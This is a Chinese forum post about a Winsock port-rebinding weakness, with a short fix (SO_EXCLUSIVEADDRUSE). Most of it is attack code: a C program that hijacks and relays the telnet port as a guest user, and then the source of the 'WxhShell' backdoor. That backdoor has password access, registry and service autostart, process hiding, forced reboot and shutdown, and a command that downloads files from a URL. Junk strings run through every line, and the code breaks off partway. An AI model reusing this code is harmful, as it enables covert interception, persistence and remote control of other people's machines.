社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10818阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $=4T# W=m  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6/wAvPB$  
O!lZ%j@%  
  saddr.sin_family = AF_INET; R?Ki~'k=  
B+iVK(j'[v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  1SP )`Q  
'73dsOTIT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J8J~$DU\Gv  
i RS )Z )  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?zQ\u{]=  
c\-5vw||b  
  这意味着什么?意味着可以进行如下的攻击: syA*!Up  
W@`Nn*S  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3)T'&HKQ  
*O#%hTYq  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) kUmrJBh$  
\^iJv ~d  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E08FUAth]#  
"'4R _R  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  X~sl5?  
,_r"=>?@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 dZIAotHN:  
H`njKKdR  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7UejK r  
m(s(2wq"f  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X_ne#ZPl  
36*"oD=@  
  #include 8t!(!<iF0  
  #include #gMMh B=  
  #include #Bg88!-4  
  #include    CuR\JKdRo  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]IoJ(4f  
  int main() '+?AaR&p?  
  { ?!U=S=8  
  WORD wVersionRequested; }BKEz[G(  
  DWORD ret; 2S&e!d-  
  WSADATA wsaData; l{>fma]7  
  BOOL val; Uy5IvG;O+  
  SOCKADDR_IN saddr; =zDU!< U  
  SOCKADDR_IN scaddr; @ JZ I  
  int err; ?FVX &{{V  
  SOCKET s; w>p0ldi  
  SOCKET sc; @v ss:'l  
  int caddsize; \6-x~%xK  
  HANDLE mt; )y\^5>p[  
  DWORD tid;   Ds9pXgU( Z  
  wVersionRequested = MAKEWORD( 2, 2 ); od{Y` .<  
  err = WSAStartup( wVersionRequested, &wsaData ); ^o_2=91  
  if ( err != 0 ) { =dHM)OXD"  
  printf("error!WSAStartup failed!\n"); d=o|)kV  
  return -1; FAfk;<#'n+  
  } x9Y1v1!5Pu  
  saddr.sin_family = AF_INET; hF s:9  
   01g=Cg  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >N@tInE  
{UX?z?0T  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /1F%w8Iqh  
  saddr.sin_port = htons(23); %I9{)'+@x  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X|q&0W=  
  { rIH/<@+  
  printf("error!socket failed!\n"); 'C8VD+p  
  return -1; "=@b>d6U+  
  } n.ZLR=P4  
  val = TRUE; 8i!AJF9IQ}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 nBI?~hkP3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u=z$**M^  
  { :6S!1roi  
  printf("error!setsockopt failed!\n"); VLC<ju!  
  return -1; B]L5K~d  
  } U&yXs'3a&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .+MJ' bW  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <+o-{{E[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jl;_lcO  
rL3<r  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mEfI2P)#|  
  { ;,[6 n|M  
  ret=GetLastError(); QO0}-wZR  
  printf("error!bind failed!\n"); ']Gqa$(YC  
  return -1; k"&l o h  
  } 'DO^($N  
  listen(s,2); _ui03veA1  
  while(1) 5XySF #  
  { Q1jU{  
  caddsize = sizeof(scaddr); Ig}G"GR  
  //接受连接请求 lT#&\JQ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k"\%x =#  
  if(sc!=INVALID_SOCKET) T$T:~8tK3  
  { Aayh'xQ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |t+M/C0y/  
  if(mt==NULL) g6{.C7m  
  { . <`i!Ls  
  printf("Thread Creat Failed!\n"); ig<Eyr  
  break; [zl@7X1{_  
  } _8P"/( `Rw  
  } ) DXN|<A  
  CloseHandle(mt); 0]4kR8R3[  
  } gD10C,{  
  closesocket(s); {a^A-Xh[u  
  WSACleanup(); 0B fqEAl  
  return 0; o(w!x!["  
  }   k4fc 5P  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~T@t7Cg  
  { BZejqDr*  
  SOCKET ss = (SOCKET)lpParam; |z\5Ik!fF]  
  SOCKET sc; F-[zuYGp  
  unsigned char buf[4096]; 7[h_"@_A7  
  SOCKADDR_IN saddr; XK??5'&{  
  long num; IROX]f}r(  
  DWORD val; 4)0 %^\p  
  DWORD ret; QEKSbxL\W  
  //如果是隐藏端口应用的话,可以在此处加一些判断 i!+D ,O  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   BLZ#vJR  
  saddr.sin_family = AF_INET; 6r! Y ~\@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4 AZ~<e\  
  saddr.sin_port = htons(23); T Po%zZo  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z%$ E6Im  
  { oFM\L^Y?$$  
  printf("error!socket failed!\n"); psyxNM=dN#  
  return -1; 7ksh%eV  
  } IhnHNY]<g  
  val = 100; LOQoi8j  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c.-h'1  
  { j[l6&eX  
  ret = GetLastError(); xFxl9oM."  
  return -1; WA}<Zme3[  
  } _J(n~"eR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xxkU u6x#  
  { /WlK*8C  
  ret = GetLastError(); nv&uhu/q  
  return -1; jXA!9_L7  
  } !$Aijd s5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]T|9>o!  
  { Xou1X$$z  
  printf("error!socket connect failed!\n"); [p[nK=&r  
  closesocket(sc); j(^ot001%v  
  closesocket(ss); (Cjnf a 2  
  return -1; ^7M hnA  
  } &7Frg`B&:  
  while(1) AzAD76iNv  
  { \$:KfN>WY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Fx,08  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~f=~tN)hZ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jJFWPD ] u  
  num = recv(ss,buf,4096,0); 88}+.-3t$  
  if(num>0)  7'u<)V  
  send(sc,buf,num,0); dv=y,q@W  
  else if(num==0) %pj 6[x`@  
  break; PN9^ sLx=  
  num = recv(sc,buf,4096,0); u.;zz'|  
  if(num>0) j !^Tw.Ty  
  send(ss,buf,num,0); {Hncm  
  else if(num==0)  :VwU2  
  break; x g=}MoX  
  } 2VmQ%y6e"  
  closesocket(ss); - s[=$pDU  
  closesocket(sc); piYv }4;:(  
  return 0 ; OQzJRu)mF#  
  } F*V<L   
<!b~7sZkTc  
}$M 2XF  
========================================================== _y#omEx  
HT]W2^k  
下边附上一个代码,,WXhSHELL #qkokV6`  
nk.Y#+1)  
========================================================== [Du@go1C  
GT\, @$r  
#include "stdafx.h" 3t<XbHF9  
U'^AJ2L8  
#include <stdio.h> +5J"G/f  
#include <string.h> [h>|6%sW  
#include <windows.h> *9:oTN  
#include <winsock2.h> LhM{LUi  
#include <winsvc.h> [ZwZGAP  
#include <urlmon.h> ` nBCCz'Y!  
n Q|4.e;  
#pragma comment (lib, "Ws2_32.lib") zNSix!F  
#pragma comment (lib, "urlmon.lib") iVq4&X_x  
").MU[q%Y  
#define MAX_USER   100 // 最大客户端连接数 *M5 : \+  
#define BUF_SOCK   200 // sock buffer NGYliP,.6  
#define KEY_BUFF   255 // 输入 buffer 5dffF e  
]zp5 6U|xa  
#define REBOOT     0   // 重启 u\YH,  
#define SHUTDOWN   1   // 关机  V|=PaO  
B$~oZ'4v  
#define DEF_PORT   5000 // 监听端口 whb|N2  
DLMG<4Cd~  
#define REG_LEN     16   // 注册表键长度 e$F]t *)Xa  
#define SVC_LEN     80   // NT服务名长度 z;1y7W!v  
=Y`P}vI]w%  
// 从dll定义API Rz}?@zh_8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n}==  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \PS{/XK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M99#\0=/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^l1tQnj)7  
KTn,}7vZ  
// wxhshell配置信息 Enee\!@v  
struct WSCFG { gfQ&U@N  
  int ws_port;         // 监听端口 "zW3d KVc  
  char ws_passstr[REG_LEN]; // 口令 #PnuR2s7.  
  int ws_autoins;       // 安装标记, 1=yes 0=no S,T?(lSl  
  char ws_regname[REG_LEN]; // 注册表键名  }* iag\  
  char ws_svcname[REG_LEN]; // 服务名 jvx9b([<sG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J6x\_]1:*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 216+ tX5Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M=[/v/M=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2m. RM&TdB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H <CsB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i^P@?  
Z J(/cD  
}; Z=%+U _,  
?fv?6r  
// default Wxhshell configuration qGMM3a)Q  
struct WSCFG wscfg={DEF_PORT, h&4uf x6  
    "xuhuanlingzhe", a]:tn:q  
    1, kN uDoo]z  
    "Wxhshell", z9:@~3k.  
    "Wxhshell", $iQ>c6  
            "WxhShell Service", \~xI#S@  
    "Wrsky Windows CmdShell Service", kg[u@LgvoN  
    "Please Input Your Password: ", Ke[doQ#c  
  1, .(o]d{ '-}  
  "http://www.wrsky.com/wxhshell.exe", zb9^ii$g  
  "Wxhshell.exe" jB }O6u[%  
    }; 9fD4xkRS  
)/k0*:OMyO  
// 消息定义模块 0z?b5D;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QFoZv+|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n<MMO=+bg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XfA3Ez,}  
char *msg_ws_ext="\n\rExit."; <B6@q4Q  
char *msg_ws_end="\n\rQuit."; CCKg,v  
char *msg_ws_boot="\n\rReboot..."; WtI1h`Fo  
char *msg_ws_poff="\n\rShutdown..."; H3{x; {.b  
char *msg_ws_down="\n\rSave to "; L/(e/Jalg  
(^GVy=  
char *msg_ws_err="\n\rErr!"; Myss$gt}  
char *msg_ws_ok="\n\rOK!"; <B 5^  
8>x.zO_.c>  
char ExeFile[MAX_PATH]; N_<sCRd]9  
int nUser = 0; /H.QGPr  
HANDLE handles[MAX_USER]; \3K6NA!L  
int OsIsNt; U`q[5U"  
^B@4 w\t  
SERVICE_STATUS       serviceStatus;  k*|dX.C:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2rHw5Wn]~  
EQPZV K/  
// 函数声明 "?,3O2t  
int Install(void); FD(zj^*  
int Uninstall(void); RAKQ+Y"nl  
int DownloadFile(char *sURL, SOCKET wsh); ANSvZqKh  
int Boot(int flag); 9[DQ[bL  
void HideProc(void); FtN1ZZ"<*  
int GetOsVer(void); []Cvma 1\  
int Wxhshell(SOCKET wsl); bGRI^ [8#+  
void TalkWithClient(void *cs); TRz~rW k  
int CmdShell(SOCKET sock); UCYhaD@sP  
int StartFromService(void); S-Va_ t$  
int StartWxhshell(LPSTR lpCmdLine); /rp4m&!  
Bp\io$(%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C>cc!+n%H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g$VcT\X  
o^~6RZ  
// 数据结构和表定义 Gb 61X6  
SERVICE_TABLE_ENTRY DispatchTable[] = O%9Cq}*  
{ 'R*gSqx~  
{wscfg.ws_svcname, NTServiceMain}, ($(6]?J(?7  
{NULL, NULL} %u }|4BXoh  
}; IyG5Rj2  
(PGmA>BT  
// 自我安装 T\c;Ra  
int Install(void) ?>MD/l(l  
{ A(_AOoA'  
  char svExeFile[MAX_PATH]; B%6bk.  
  HKEY key; a#H=dIj  
  strcpy(svExeFile,ExeFile); Ary$,3X2  
nR/; uTTz  
// 如果是win9x系统,修改注册表设为自启动 Td[w<m+p<P  
if(!OsIsNt) { Ga f/0/|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0w\X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IZ')1  
  RegCloseKey(key); "b%hAdR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2a.NWJS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w|WZEu:0|  
  RegCloseKey(key); ^a; V-US  
  return 0; N-^\X3X  
    } /iif@5lw{  
  } +Smv<^bW  
} |}Mkn4  
else { sxL;o >{  
4\pA^%73  
// 如果是NT以上系统,安装为系统服务 d1e'!y}R5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &o"Hb=k<  
if (schSCManager!=0) }=A6Jv(j  
{ T.ub! ,Y  
  SC_HANDLE schService = CreateService :&yRvu  
  ( !Go(8`>  
  schSCManager, VK`_ Qc#B  
  wscfg.ws_svcname, W3UK[_qK  
  wscfg.ws_svcdisp, `m<="No  
  SERVICE_ALL_ACCESS, yD1*^~loJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {\|? {8f  
  SERVICE_AUTO_START, u-UUF  
  SERVICE_ERROR_NORMAL, ?^BsR  
  svExeFile, i?=3RdP/R1  
  NULL, {DN c7G  
  NULL, rShi"Yw  
  NULL, *(?YgV  
  NULL, C*Ws6s>+z  
  NULL BT>*xZLpS  
  );  p<*-B  
  if (schService!=0) 1)_f9GR  
  { uNd;; X  
  CloseServiceHandle(schService); @<vDR">  
  CloseServiceHandle(schSCManager); :#TJ-l:#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,_NO[+5U  
  strcat(svExeFile,wscfg.ws_svcname); }"m@~kg=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6$PfX.Fh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jLr8?Hyf  
  RegCloseKey(key); IUd>jHp`6  
  return 0; A!^K:S:@  
    } c09] Cp<  
  } { w!}:8p  
  CloseServiceHandle(schSCManager); um ,/^2A  
} N)poe2[  
} /2'\ya4B  
nr&G4t+%Hv  
return 1; z*yN*M6t  
} u"T5m  
);))kYr  
// 自我卸载 zN5i}U=|r  
int Uninstall(void) "6Dz~5  
{ nt;A7pI`  
  HKEY key; }QJE9;<e  
Slv}6at5  
if(!OsIsNt) { AL|fL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fg#*rzA  
  RegDeleteValue(key,wscfg.ws_regname); IR/0gP  
  RegCloseKey(key); 0@AK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $Z{ fKr  
  RegDeleteValue(key,wscfg.ws_regname); wCmwH=O  
  RegCloseKey(key); |lJXI:G G  
  return 0; /2l4'Q=  
  } D%^EG8i n.  
} \XRViG,|5  
} (|U+(~PJ  
else { t9m`K9.\  
s ^)W?3t]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .\U+`>4av  
if (schSCManager!=0) ZLL0 6p   
{ `n^jU92  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qk_ s"}sS  
  if (schService!=0) bO2$0!=I  
  { ?WAlW,H>  
  if(DeleteService(schService)!=0) { g"T~)SQP  
  CloseServiceHandle(schService); ?Fi-,4  
  CloseServiceHandle(schSCManager); f[|xp?ef  
  return 0; TqQ>\h"&_  
  } _|A)ueY  
  CloseServiceHandle(schService); $~D`-+J  
  } :~T:&;q0  
  CloseServiceHandle(schSCManager); uL-i>!"L!}  
} Hlz4f+#I  
} +!_^MBkk  
;U20g:K  
return 1; Q 5@~0  
} a'T|p)N.;T  
f2{4Y)  
// 从指定url下载文件 }WCz*v1Wq  
int DownloadFile(char *sURL, SOCKET wsh) 1Eg}qU,:  
{ ~Zj?%4  
  HRESULT hr; h+Q ==  
char seps[]= "/"; k.lnG5e  
char *token; mD)Nh  
char *file; E#HO0 ]S  
char myURL[MAX_PATH]; &)bar.vw/  
char myFILE[MAX_PATH]; %{HqF>=~  
:=i0$k<E/  
strcpy(myURL,sURL); L3<XWpv  
  token=strtok(myURL,seps); hlUF9}  
  while(token!=NULL) Nju7!yVM_  
  { W1: o2 C7  
    file=token; ,Y`C7Px  
  token=strtok(NULL,seps); ?<nz2 piP,  
  } H<NYm#a"  
1/&j'B  
GetCurrentDirectory(MAX_PATH,myFILE); P%/+?(?  
strcat(myFILE, "\\"); "V9!srIC  
strcat(myFILE, file); RisrU  
  send(wsh,myFILE,strlen(myFILE),0); *K+*0_  
send(wsh,"...",3,0); ?L'k2J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S>"dUM  
  if(hr==S_OK) ,#c-"x Y  
return 0; ^ 1J;SO|  
else n:#ji|wM  
return 1; Xp{gh@#dr  
JGO>X|T  
} $~:hv7%  
4uu*&B  
// 系统电源模块 rBny*!n  
int Boot(int flag) BR0bf5T/  
{ 9s7B1Pf  
  HANDLE hToken; Pu9.Uwx  
  TOKEN_PRIVILEGES tkp; lZ.,"F@  
Q`//HOM,  
  if(OsIsNt) { G)e 20Mst  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k~q[qKb8y:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \/$v@5  
    tkp.PrivilegeCount = 1; qy-BZ%3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *=sU+x&X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *uv\V@0  
if(flag==REBOOT) { CI  @I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x`lBG%Y[-v  
  return 0; gq0gr?  
} V!Joh5=a  
else { +'KM~c?]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P{qn@:  
  return 0; 7P\sn<  
} FcWu#}.p}  
  } B[$SA-ZHi  
  else { &1?Q]ZRp  
if(flag==REBOOT) { qh&K{r*T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6Edqg   
  return 0; QU#/(N(U#T  
} zh4o<f:-  
else { snK9']WXo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H~$|y9>qI  
  return 0; #`W8-w  
} XG [%oL  
} /z'j:~`E  
R1 wd Q8q  
return 1; 4({=(O  
} ,>g 6OU2~6  
/0\pPc*kA{  
// win9x进程隐藏模块  (&gCVf  
void HideProc(void) !l\pwfXP&%  
{ _ Po9pZ  
Ec[:6}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6@$[x* V  
  if ( hKernel != NULL ) ' 5Ieqpm9  
  { au7BqV!uL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qMUqd}=P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \ agC Q&  
    FreeLibrary(hKernel); ?3|ZS8y  
  } eU12*(  
)l"0:1Ig  
return; S4(IYnwN  
} S_QDYnF)`  
b,@:eVQ7  
// 获取操作系统版本 2`},;i~[  
int GetOsVer(void) bc"{ZL!C  
{ zH_q6@4  
  OSVERSIONINFO winfo; NKGCz|- 9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JBYQ7SsAS0  
  GetVersionEx(&winfo); dKMuo'H'%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @V-ZV  
  return 1; F-R`'{ ka  
  else c49#aN R  
  return 0; "d#s|_n,d)  
} #zQkQvAT9  
rvG qUmSUs  
// 客户端句柄模块 cK258mY  
int Wxhshell(SOCKET wsl) ]6aM %r=c  
{ t #AQD]h  
  SOCKET wsh; Iq5F^rH`[  
  struct sockaddr_in client; U-k;kmaj  
  DWORD myID; UkYQ<MNO  
i3~!ofTb  
  while(nUser<MAX_USER) iIT<{m&`  
{ "2h#i nS  
  int nSize=sizeof(client); lfKknp#B/O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ! of7]s  
  if(wsh==INVALID_SOCKET) return 1; jab]!eY  
X-duG*~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H{V-C_  
if(handles[nUser]==0) e,x@?L*  
  closesocket(wsh); 'l}3Iua6qk  
else vIREvj#U  
  nUser++; m=K XMX  
  } 5bAXa2Vt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WDX?|q9rCt  
;e{2?}#8&  
  return 0; H z6H,h  
} q[#\qT&QU  
u1"e+4f  
// 关闭 socket ]@f6O *&=  
void CloseIt(SOCKET wsh) i" )_M|   
{ l?~ci ;lG  
closesocket(wsh); mSzwx/3"  
nUser--; w iq{ Jo#  
ExitThread(0); }iC~B}  
} Brl6r8LGi  
EvYw$ j  
// 客户端请求句柄 =UV?Pi*M>  
void TalkWithClient(void *cs) Y[H_?f=;%  
{ .x x#>Y-\  
Cam}:'a/`  
  SOCKET wsh=(SOCKET)cs; 4/jY;YN,2  
  char pwd[SVC_LEN]; pFK |4u  
  char cmd[KEY_BUFF]; (kHR$8GFM  
char chr[1]; `%=Jsi0.Nq  
int i,j; bXW)n<y  
J.&q[  
  while (nUser < MAX_USER) { SUEw5qitB  
7HJv4\K  
if(wscfg.ws_passstr) { Y1~SGg7(@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =j{jylC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H>r-|*n  
  //ZeroMemory(pwd,KEY_BUFF); Wf?sJ`.%b  
      i=0; U\[V !1O  
  while(i<SVC_LEN) { ^"Y'zI L  
1Q%.-vs  
  // 设置超时 gB"Tc[l1  
  fd_set FdRead; (H F,p,h_  
  struct timeval TimeOut; I%&9`ceWY  
  FD_ZERO(&FdRead); xo%iL  
  FD_SET(wsh,&FdRead); PHXP1)^}S  
  TimeOut.tv_sec=8; t2:c@)  
  TimeOut.tv_usec=0; <d^7B9O?&w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yjO7/< 2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9JtvHUkO  
N|j. @K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <7 rK  
  pwd=chr[0]; %8tN$8P  
  if(chr[0]==0xd || chr[0]==0xa) {  )L!R~F C  
  pwd=0; '2tEKVb  
  break; cg.e(@(  
  } $SXxAS1  
  i++; q+z\Y?  
    } ;!}SgzSH}  
v;Dcq  
  // 如果是非法用户,关闭 socket Z:hrrq9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hq*JQb;Y}  
} :6/OU9f/R  
#R8l"]fxr?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L1xD$wl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iK]g3ew|  
5{a( +'  
while(1) { vw]nqS~N  
##@#:B  
  ZeroMemory(cmd,KEY_BUFF); 9vTQ^*b m  
8_m9CQ6 i  
      // 自动支持客户端 telnet标准   tb{{oxa,k  
  j=0; QT$1D[>  
  while(j<KEY_BUFF) { c #!6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vr1|%*0Tv  
  cmd[j]=chr[0]; >l1Yhxd_0*  
  if(chr[0]==0xa || chr[0]==0xd) { IpJv\zH7  
  cmd[j]=0; O)|4>J*B  
  break; Ltw7b  
  } <`3(i\-X  
  j++; EAB+kY  
    } K)+l6Q  
?GarD3#A  
  // 下载文件 D.o|($S0  
  if(strstr(cmd,"http://")) { ehusI-q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5)7mjyo%  
  if(DownloadFile(cmd,wsh)) /vDF<HVzm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f B96Q  
  else mv.I.EL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V^z;^mdd  
  } )T5h\ZO`;  
  else {  ;"^9L  
)JQQ4D  
    switch(cmd[0]) {  {Yk20Zn  
  mv?H]i`N  
  // 帮助 y7-:l u$9  
  case '?': { J\+gd%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0|!<|N<  
    break; B9DxV>mr\r  
  } ;cn.s,  
  // 安装 GKhwn&qCKb  
  case 'i': { \,gZNe&Vv  
    if(Install()) -!>ZATL<B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bMZn7c  
    else g <4M!gi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sc$wR{W<:  
    break; i{ @'\}{L  
    } +i#sS19h  
  // 卸载 '?gI cWM  
  case 'r': { w%dIe!sV  
    if(Uninstall()) eJGos!>*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jgKL88J*\  
    else ].P(/~FS9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6xIYg^  
    break; qetP93N_*  
    } ENWB|@B  
  // 显示 wxhshell 所在路径 wV&f|JO0+  
  case 'p': { doO Ap9%  
    char svExeFile[MAX_PATH]; <lmJa#  
    strcpy(svExeFile,"\n\r"); y6Epi|8  
      strcat(svExeFile,ExeFile); {dx /p-Tv  
        send(wsh,svExeFile,strlen(svExeFile),0); 0o$HC86w  
    break; wv.Ul rpx.  
    } s]vJUC,s  
  // 重启 6a?$=y  
  case 'b': { `ab\i`g9  
